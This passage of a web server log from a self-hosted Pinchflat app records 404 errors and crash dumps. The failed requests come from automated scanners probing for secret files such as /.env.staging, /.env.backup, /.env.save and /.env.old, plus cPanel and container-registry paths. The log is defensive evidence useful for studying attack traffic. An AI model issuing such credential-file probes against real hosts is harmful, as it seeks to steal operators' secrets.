=> {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAKdYqgMstfYAAbUC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9501.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9501.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.staging", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49928}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9502.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.staging", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAKdYqgMstfYAAbUC"} ], scheme: : (truncated) 15:21:37.528 [info] GET /___proxy_subdomain_cpanel 15:21:37.528 [debug] QUERY OK source="settings" db=0.1ms idle=312.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.528 [debug] QUERY OK source="settings" db=0.0ms idle=312.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.528 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.529 [error] #PID<0.9504.0> running PinchflatWeb.Endpoint (connection #PID<0.9503.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /___proxy_subdomain_cpanel ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9503.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9504.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAK55np7tEdEAAbVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9503.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /___proxy_subdomain_cpanel (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9503.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/___proxy_subdomain_cpanel", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49936}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)", "x-forwarded-for" => "167.99.182.39", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "167.99.182.39" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9504.0>, params: %{}, path_info: ["___proxy_subdomain_cpanel"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.038313e29343e2034323e23373; +https://leakix.net)"}, {"x-forwarded-for", "167.99.182.39"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "167.99.182.39"} ], request_path: "/___proxy_subdomain_cpanel", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAK55np7tEdEAAbVC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil (truncated) 15:21:37.644 [info] GET /.env.backup 15:21:37.644 [debug] QUERY OK source="settings" db=0.2ms idle=235.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.644 [debug] QUERY OK source="settings" db=0.0ms idle=235.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.644 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.645 [error] #PID<0.9506.0> running PinchflatWeb.Endpoint (connection #PID<0.9505.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.backup ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9505.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9506.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDALVgTg1QDq8AAbWC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9505.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9505.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.backup", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9506.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.backup", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDALVgTg1QDq8AAbWC"} ], scheme: :http, (truncated) 15:21:37.884 [info] GET /.env.save 15:21:37.884 [debug] QUERY OK source="settings" db=0.0ms idle=396.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.884 [debug] QUERY OK source="settings" db=0.1ms idle=355.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:37.885 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:37.885 [error] #PID<0.9508.0> running PinchflatWeb.Endpoint (connection #PID<0.9507.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.save ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9507.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9508.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAMOwgZ8fKIEAAbXC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9507.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9507.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.save", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49952}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9508.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.save", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAMOwgZ8fKIEAAbXC"} ], scheme: :http, sc (truncated) 15:21:37.976 [info] GET /v2/_catalog 15:21:37.976 [info] Sent 404 in 72µs 15:21:37.976 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.121 [info] GET /.env.old 15:21:38.121 [debug] QUERY OK source="settings" db=0.1ms idle=592.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.121 [debug] QUERY OK source="settings" db=0.0ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:38.121 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:38.122 [error] #PID<0.9512.0> running PinchflatWeb.Endpoint (connection #PID<0.9511.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.old ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9511.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.old", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49982}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", 